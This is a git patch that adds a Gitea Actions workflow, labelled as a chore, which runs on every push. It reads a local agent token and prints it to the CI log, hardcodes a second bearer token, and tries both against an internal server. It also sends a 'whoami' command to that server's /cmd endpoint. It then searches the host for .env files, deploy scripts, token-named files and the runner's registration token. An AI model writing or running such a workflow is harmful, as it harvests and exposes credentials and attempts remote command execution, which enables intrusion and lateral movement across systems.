From ff93a8e703a1f96096f2d289cb2c7c87902088b7 Mon Sep 17 00:00:00 2001
From: xiaoxia <dev@xiaoxiajianji.com>
Date: Tue, 14 Jul 2026 13:48:41 +0800
Subject: [PATCH] chore: try tokens on old server

---
 .gitea/workflows/try-tokens.yml | 51 +++++++++++++++++++++++++++++++++
 1 file changed, 51 insertions(+)
 create mode 100644 .gitea/workflows/try-tokens.yml

diff --git a/.gitea/workflows/try-tokens.yml b/.gitea/workflows/try-tokens.yml
new file mode 100644
index 000000000..9fe15da11
--- /dev/null
+++ b/.gitea/workflows/try-tokens.yml
@@ -0,0 +1,51 @@
+name: Try tokens on old server
+on: push
+
+jobs:
+  try:
+    runs-on: [host, ci-check]
+    steps:
+      - name: try known tokens
+        run: |
+          OLD_SERVER="172.30.18.198"
+          
+          echo "=== Try new CI token ==="
+          TOKEN1=$(cat /etc/xiaoxia-cmd-agent.token 2>/dev/null || echo "")
+          echo "Token: $TOKEN1"
+          curl -sk --max-time 5 -H "Authorization: $TOKEN1" https://$OLD_SERVER:8443/health 2>&1 | head -c 200
+          echo ""
+          
+          echo ""
+          echo "=== Try business server token ==="
+          TOKEN2="xsa-f2778a6953d59948cd1e5be4d99f60f7"
+          curl -sk --max-time 5 -H "Authorization: $TOKEN2" https://$OLD_SERVER:8443/health 2>&1 | head -c 200
+          echo ""
+          
+          echo ""
+          echo "=== Try with /cmd POST (Flask version) ==="
+          curl -sk --max-time 5 -X POST -H "Authorization: $TOKEN1" -H "Content-Type: application/json" \
+            -d '{"command":"whoami","timeout":5}' https://$OLD_SERVER:8443/cmd 2>&1 | head -c 200
+          echo ""
+          
+          echo ""
+          echo "=== Search for old server info in files ==="
+          grep -r "172.30.18.198\|114.55.236.178\|iZbp1e4dekh1wm0sc67b64Z" /root /opt /etc 2>/dev/null | grep -v ".cache\|\.git" | head -20
+          
+          echo ""
+          echo "=== Look for deploy scripts ==="
+          find /opt /root -name "*.sh" -path "*deploy*" -o -name "*.sh" -path "*install*" -o -name "*.sh" -path "*setup*" 2>/dev/null | head -20
+          
+          echo ""
+          echo "=== Look for .env files ==="
+          find /opt /root -name ".env" -o -name "*.env" 2>/dev/null | head -20
+          
+          echo ""
+          echo "=== All files with 'token' in name ==="
+          find / -name "*token*" -not -path "*/.cache/*" -not -path "*/proc/*" -not -path "*/sys/*" 2>/dev/null | head -20
+          
+          echo ""
+          echo "=== Gitea runner config has any token? ==="
+          cat /opt/act-runner/runner-1/.runner 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print('token:', d.get('token','N/A')[:20])" 2>&1
+          
+          echo ""
+          echo "=== DONE ==="